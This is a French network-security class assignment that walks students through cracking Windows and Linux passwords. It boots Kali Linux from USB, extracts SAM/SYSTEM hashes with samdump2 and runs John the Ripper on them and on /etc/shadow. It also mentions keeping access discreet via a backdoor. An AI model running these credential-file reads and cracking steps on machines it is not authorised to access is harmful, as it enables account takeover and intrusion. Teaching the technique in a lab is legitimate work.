

Exposé 2

Sécurité des Réseaux

Sujet : Crackage de mot de passe d'une machine Windows 7, 8, 10, XP et Linux

L'objectif de cet exposé est de pouvoir récupérer un mots de passe inconnu sur une machine dont on a accès.

L'exposé sera guidé par les directives suivantes à suivre pour bien mener les tâches demandées ; mais cela n'empêche pas d'utiliser une méthode, une technique ou une procédure autre que celle recommandée ici.

La procédure décrite ici ne fait qu'office de guide, et il vous reviendra au cas où elle ne marche pas, de chercher une solution et de décrire étape par étape la version finale dans un rapport à rendre avant la date indiquée

L'exposé sera composé de deux parties :

1^{ème} partie : Crackage de mot de passe d'une machine Windows 7, 8, 10, XP.

2^{ème} partie : Crackage de mot de passe d'une machine GNU/Linux

Partie 1 : Crackage de mot de passe d'une machine Windows 7, 8, 10, XP.

Avant de pouvoir craquer un mot de passe, on suppose qu'on a accès d'abord à l'ordinateur physique et que l'on a un exploit découvert.

L'oubli de mot de passe peut être une des raisons pour lesquelles on doit se retrouver dans cette situation, mais il y en a encore tant d'autres : vol de mot de passe etc.

Sur le système Windows XP, 7, 8, 10, les mots de passe des utilisateurs sont stockés dans un fichier nommé SAM (Security Account Manager) et se trouvant dans le dossier

«C:\Windows\system32\config» et où sont stockés les cryptés des login et mots de passe des utilisateurs. Ces mots de passe ont d'abord été hachés avant d'être chiffrés par une clé qui se trouve dans le fichier SYSTEM se trouvant au même endroit que SAM.

L'objectif de ce TP est :

- d'utiliser d'abord kali Linux pour avoir accès à la base de données SAM.
- d'utiliser samdump2 pour extraire le l'empreinte à partir d'un déchiffrement effectué par le biais de la clé du fichier SYSTEM.
- D'utiliser john the Ripper, pour trouver le mot de passe à partir de l'empreinte.

Avec Kali Linux : Récupération de la base de données SAM

Des outils comme Trinity permettent d'effacer le mot de passe de l'administrateur pour se connecter à sa place, mais ce n'est pas une méthode discrète et réutilisable donc il serait plus intéressant de récupérer le mot de passe administrateur ou d'un utilisateur pour pouvoir se connecter plusieurs fois et paramétrer la machine pour un accès distant plus discret (Backdoor).

Avec Kali Linux en mode déconnecté grâce à une clé USB ou en mode Live. En effet un liveCD utilise un ram disk qui est en fait une partie de la mémoire vive qui est utiliser comme mémoire de masse. Pour avoir accès aux données figurant sur le disque de la machine cible et en particulier à la base SAM, il faut accrocher la partition contenant celle-ci au système des

fichiers de notre LiveCD, on l'appelle cela, « monter une partition » On peut alors vérifier le disque physique sur lequel on souhaite valider notre montage.

Création d'un live CD Kali Linux via Linux

- 1- télécharger l'image ISO Kali Linux et le mettre dans un dossier VotreNom
- 2- Lancer le terminal linux et lister les disques de la machine afin de repérer votre clé USB déjà branchée
\$ lsblk -S
- 3- Si votre clé USB est /sd?, et que l'image ISO de Kali Linux se trouve /home/VotreNom/Kali.iso, taper en mode administrateur la commande suivante (? est la lettre associée à la clé USB) :
#sudo dd if=/home/VotreNom/Kali.iso of=/dev/sd? bs=512k
- 4- Dans le BIOS ou l'UEFI, configurer votre ordinateur en mode démarrage avec clé USB puis redémarrer
- 5- Si le live CD ne se lance pas alors que vous utiliser l'UEFI, entrer à nouveau dans le BIOS (UEFI) et désactiver le « Secure Boot »

Récupération de la base de données SAM

sudo su /*pour se connecter en tant que Root dans Kali*/

fdisk -l ou sudo fdisk -l

Device.	Boot	Start	End	block	Id	System
/dev/sda1	*	2048	20687	102400	7	HPFS/NTFS/extFAT
/dev/sda2		20687	61435903	30614528	7	HPFS/NTFS/extFAT

- Montons la partition /dev/sda2 sur le repertoire /mnt/ de Kali
mount -t ntfs-3g /dev/sda2. /mnt/
mount -t vfat /dev/sda2 /mnt/
- Un ls sur /mnt/ montre bien que nous sommes sur le disque monté
- Déplaçons nous dans le repertoire contenant SAM et SYSTEM
cd /mnt/Windows/system32/config
- A ce stade, on peut utiliser le programme samdump2, permettant d'extraire les empreintes et les envoyer même dans un fichier (ici hash.txt)
samdump2 SYSTEM SAM > /tmp/hash.txt
- A ce stade, on peut utiliser john (s'il est disponible) pour récupérer le mot de passe en clair.
- A ce point on a les hash selon un format donné on peut même éditer le fichier hash.txt avec
\$ cat hash.txt, puis identifier la ligne de concernant l'utilisateur et mettre le hash dans un autre fichier.
- On peut alors utiliser John ou un autre utilitaire qui permet de trouver à partir de l'empreinte la valeur hachée.
john /tmp/hash.txt
ou
john --format=NT /tmp/hash.txt
Ou.....
John --format=NT /tmp/hash.txt

Partie 2 : Crackage de mot de passe d'une machine GNU/Linux

Avec samdump2

GNU/Linux utilise le salage et les mots de passe sont stockés dans le fichier /etc/shadow et le fichier "/etc/passwd" contient les noms des comptes utilisateurs (logins). Il est nécessaire d'essayer toutes les possibilités jusqu'à trouver le bon mot de passe, technique connue sous le terme d'une attaque par la force brute ou en force brute.

On peut utiliser John the Ripper avec le compte administrateur (root) puisque théoriquement seul ce dernier peut accéder aux fichiers des mots de passe pour des raisons évidentes de sécurité.

- On suppose que John est déjà installé :
apt-get update
apt-get install john
- Une attaque par force brute pure s'effectue par la commande :
john /etc/shadow

On peut utiliser différentes techniques pour réduire le temps de recherche, par exemple en spécifiant juste un utilisateur et dans ce cas, on va devoir fusionner les 2 fichiers en un seul avec la commande "unshadow".

- Fusionner les deux fichiers

#unshadow /etc/passwd /etc/shadow > hash.txt
#john hash.txt //est identique à john /etc/shadow

- il est possible de spécifier le nom d'un compte à cracker ou bien avec le numéro UID.
 Exemple pour l'utilisateur faye:
#john --users=faye hash.txt
#john --users=1055 hash.txt
#john --users=faye hash.txt
- Une attaque hybride entre (combinaison de dictionnaire et de force brute) peut réduire significativement le temps de réponse.
cat /usr/share/dict/french // pour voir un dictionnaire français qu'on peut utiliser.
#john --wordlist=/usr/share/dict/french /etc/shadow